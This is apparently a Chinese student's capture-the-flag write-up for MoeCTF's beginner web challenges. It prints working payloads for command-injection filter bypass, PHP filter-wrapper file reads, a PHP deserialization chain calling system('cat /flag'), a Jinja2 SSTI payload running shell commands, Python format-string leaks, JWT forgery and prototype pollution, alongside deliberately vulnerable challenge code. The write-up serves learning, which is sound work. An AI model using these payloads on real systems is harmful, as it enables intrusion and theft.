MoeCTF(西安电子科技大学新生赛) WP
最近小白学长推了一个新生赛,是XDU的新生赛,类似于CUIT的geek,但是题目比较简单,我们就拿来练手了,不会的地方顺便学习一下。
Web安全入门指北—GET
这题就是白给,但凡入门的hxd都会做,点开靶场看到了以下代码:
<?php
include "flag.php";
$moe = $_GET['moe'];
if ($moe == "flag") {
echo $flag;
}else {
highlight_file(__FILE__);
}
意思很明显了,包含了一个flag文件,然后只要利用GET传入moe,并且使moe的值为flag就可以得到flag了,所以我们可以构造payload:
?moe=flag
发送得到flag:
moectf{We1c0me_t0_CTF_Web!}
Web安全入门指北—POST
和上题差不多:
<?php
include "flag.php";
$moe = $_POST['moe'];
if ($moe == "flag") {
echo $flag;
}else {
highlight_file(__FILE__);
}
这题的话两种做法,一种是直接利用hackbar的post功能发送moe=flag,另一种就是抓包然后在请求体里面发送moe=flag,具体方法可以参考我博客task1中的最后部分。
moectf{POST_1s_an_1mp0rtant_m3th0d!}
Web安全入门指北—小饼干
这题的话也是非常简单,进去说我们必须是vip才能拿flag,我找了半天也没找到充钱的地方(bushi),然后看了下题目:小饼干,那不就是cookie嘛,这题依然有两种做法,一种是抓包改cookie的值,还有一种要利用firefox的一个插件:Web Develop,这里面可以直接改cookie的值。
moectf{C00kie_1s_sw33t!}
2048
这题点进去是个正经的2048游戏,但是yysy没有2048官网做的丝滑,差评!!!然后我们随便玩了一下,玩死了之后,提示了:超过50000分才可以给你flag呦!刷新页面再玩一次吧!其实这道题在bugku里有道类似的题目,就是抓包改数据,然后放包即可,这个包就是死局之后向服务器端发送的游戏分数的包。
moectf{2048_1s_intere5t1ng!}
Web_Inc
进来又是个伞兵代码
<?php
error_reporting(0);
include_once "flag.php";
$a=$_GET['a'];
$b=$_POST['b'];
if(isset($a)){
if($a!=$b&&md5($a)===md5($b)){
echo $flag;
}else{
echo 'try again';
}
}else{
highlight_file(__FILE__);
}
一看md5,哦吼,那不是经典数组绕过嘛,然后a和b分别是GET和POST传的,我们要令他们的值不同,md5加密之后是相等的,数组绕过md5,传入的数组a[]和b[]值不一样,但是md5不能处理数组,所以加密过后的结果是一样的,都是NULL。
moectf{xdsec3gf9dfg62fh342}
ezinclude
这是道简单的包含题目,以我多年的蒙题目经验,这题包含的file就是flag.php。然后用伪协议读一下:
?file=php://filter/read=convert.base64-encode/resource=flag.php
前面的伪协议格式是固定的,用base64加密读出的flag内容,结果拿base64解密一下就能拿到flag:
moectf{xdsec6asdgas7ahfsfaxczc}
babeRCE
这题是一道绕过题,万恶的正则表达式,过滤了一堆吊毛关键字,拦住了我拿flag的去路!!
<?php$rce = $_GET['rce'];if (isset($rce)) { if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) { system($rce); }else { echo "hhhhhhacker!!!"."\n"; }} else { highlight_file(__FILE__);}
仔细看了一眼,发现ls并没有被过滤,于是我们传了一个?rce=ls,发现了目录下有两个文件,其中一个是flag.php,我们要的flag肯定就在里面了,但是cat和flag都被过滤了,甚至还过滤了空格,怎么办捏??
cxgg教了我一个吊毛绕过方法,用问号通配符来做,因为没过滤问号,所以我们构造一个payload:
?c?t${IFS}fl?g.php
空格的过滤方法就是${IFS}
发现读不出来flag,突发奇想cat好像是在bin目录底下的,我们用ls查了一下bin目录下果然有cat,所以我们构造payload:
?rce=/bin/ca?${IFS}fla?.php
空白页面,但是按下f12发现flag藏在源码里面:
moectf{Do_y0u_l1k3_Rcccccccccccccce?}
Do you know HTTP?
这题的话,某题库的入门题有道几乎一样的题目,进去叫我用HS请求,我一开始还不明白这是个什么吊毛请求方法我怎么从来没见过,但是抓包之后把GET改成HS,居然还真有回显,然后后面就比较简单了。
本地ip地址访问,用XFF伪造127.0.0.1,然后从某个网站过来的,用Referer,浏览器改UA信息就行,最后的flag:
moectf{HTTPHeaders_1s_s0_ea5y!}
地狱通信???
这题是一道format漏洞题目,毫无疑问就是道伞兵题目,不到12点还做不了。
给出的是一段Python代码,师傅说网上嫖的payload都能过,于是我google了一下格式化字符串漏洞的相关文章,发现文章少得可怜,点进去找到了一段payload:
{0.__class__.__init__.__globals__}
用exp传了一下,出来一大堆东西,用CTRL+F查找了一下moectf,果然找到了flag:
MoeCTF{u_are_so_great!}
还好我凌晨写的wp,不然还搞不到flag。
关于python格式化字符串漏洞的相关知识,可以去这篇文章瞅瞅:https://www.leavesongs.com/PENETRATION/python-string-format-vulnerability.html
eeeeeeeeeeezunserialize
我说实话,反序列化是我最讨厌的题目,一开始学的时候就做不来,这题给的代码如下:
<?phpclass entrance{ public $start; function __construct($start) { $this->start = $start; } function __destruct() { $this->start->helloworld(); }}class springboard{ public $middle; function __call($name, $arguments) { echo $this->middle->hs; }}class evil{ public $end; function __construct($end) { $this->end = $end; } function __get($Attribute) { eval($this->end); }}if(isset($_GET['serialize'])) { unserialize($_GET['serialize']);} else { highlight_file(__FILE__);}
这题的链还是很好找的:首先反序列化操作触发了destruct()方法,指向的helloworld()是一个不存在的方法,所以会触发call()方法,call方法里的hs又是一个不存在的变量,所以会触发get()方法,get方法中的eval会将括号中的字符串以代码的方式执行,链明白之后就构造exp:
<?phpclass entrance{ public $start;}class springboard{ public $middle;}class evil{ public $end; function __construct() { $this->end = 'system(\'cat /flag\');'; //斜杠是用来转义的 }}$a=new entrance();$b=new springboard();$c=new evil();$b->middle=$c;$a->start=$b;echo serialize($a);echo urlencode(serialize($a));
得到的payload:
O%3A8%3A%22entrance%22%3A1%3A%7Bs%3A5%3A%22start%22%3BO%3A11%3A%22springboard%22%3A1%3A%7Bs%3A6%3A%22middle%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A3%3A%22end%22%3Bs%3A20%3A%22system%28%27cat+%2Fflag%27%29%3B%22%3B%7D%7D%7D
因为嫌麻烦所以直接用url编码以后的序列化结果。
flag:
moectf{d0_u_know_what_1s_seria1ize?}
让 我 访 问
这个吊题啥也不给,还不给注册,一开始疯狂尝试登录,但是没有用,我怀疑过是sql注入,但是用了各种方法依然没有回显,仔细看了一下题目,说python什么什么,waf不好写什么什么,推测是没有waf,点了一下注册并且抓了个包,有发现:请求体中传了一个goto的值,猜想是SSTI漏洞,于是把goto的值改成了{{2*2}},发现有4的回显,证明这确实是个SSTI漏洞,然后我就去嫖了个程序化的payload,这个不用自己手动查索引了:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("cat /flag").read()') }} {% endif %} {% endif %} {% endfor %}{% endif %}{% endfor %}
得到flag:
moectf{j1e_9e_6u_y@0_aaaaaaaaaa}
地狱通讯-改
这题是上面的格式化字符串的改版,说是改版,其实就是加了一个小小的知识点,了解一下jwt,这题就是用上面的payload查到jwt加密用的secret,然后利用secret来伪造session。
注意,传flag参数的时候要再/hello中传,因为/index里没有get flag的函数,传了并无卵用。
用上面的payload查到了secret:
u_have_kn0w_what_f0rmat_i5
我一开始一度以为外面套个外壳就是flag了,事实证明我太天真了,当时查了一下jwt的伪造方法,就是利用第三段加密的secret来伪造,别的题目都是爆破得到的secret,本题就直接拿到了,这样我们就可以上jwt.io伪造一下。
做这道题可以去了解一下jwt的加密方式,这里就不多赘述了,其实就是cookie会传一个token,这个token就是jwt加密的,而这个token是根据你传的name而定的,这其中name不能传admin,而结果需要name的值为admin,所以我们把抓包得到的token拿去解密然后改下name的值,最后用secret重新加密,替换抓到包中的token中,就可以达到伪造的目的。不知道这是不是CSRF。伪造完就可以进/hello中拿flag了:
moectf{k33p_y0ur_5ecret_k3y_Cautiously!}
fake game
这题是关于js的,这是后来改的提示,一开始做的时候,啥提示都没有,进去看了一眼,是要给各个属性赋值的,首先尝试了一下直接在前端更改js代码,尝试失败。
转念一想,这题会不会又是个抓包改数据的吊题,试了一下,并不行,依然会被js检测到相加大于10。
这个时候师傅提示了一下这题是关于原型链污染的。
关于原型链污染可以自行google,这里也不会做说明,只会说做法。
因为题目有过提示,当属性的数值为0时,此属性会不存在,那么根据js的对象寻找方法可知,当attributes类中找不到attack的话,就会到attributes.__proto__
中寻找attack属性,以此类推,直到找到null才会停止查找,此时,我们只需要令attack为0,这样attributes类中就会不存在这个属性,然后我们在attributes.__proto__
中创建一个attack属性,就可以造成原型链污染,从而使attack的值能够变得更大。
payload如下:
{ "attributes": { "health":1, "attack":0, "armor":1, "__proto__":{ "attack":100000000000 } }}
这是在请求体中传的。
得到flag:
moectf{The_game_1s_s0_funny!!}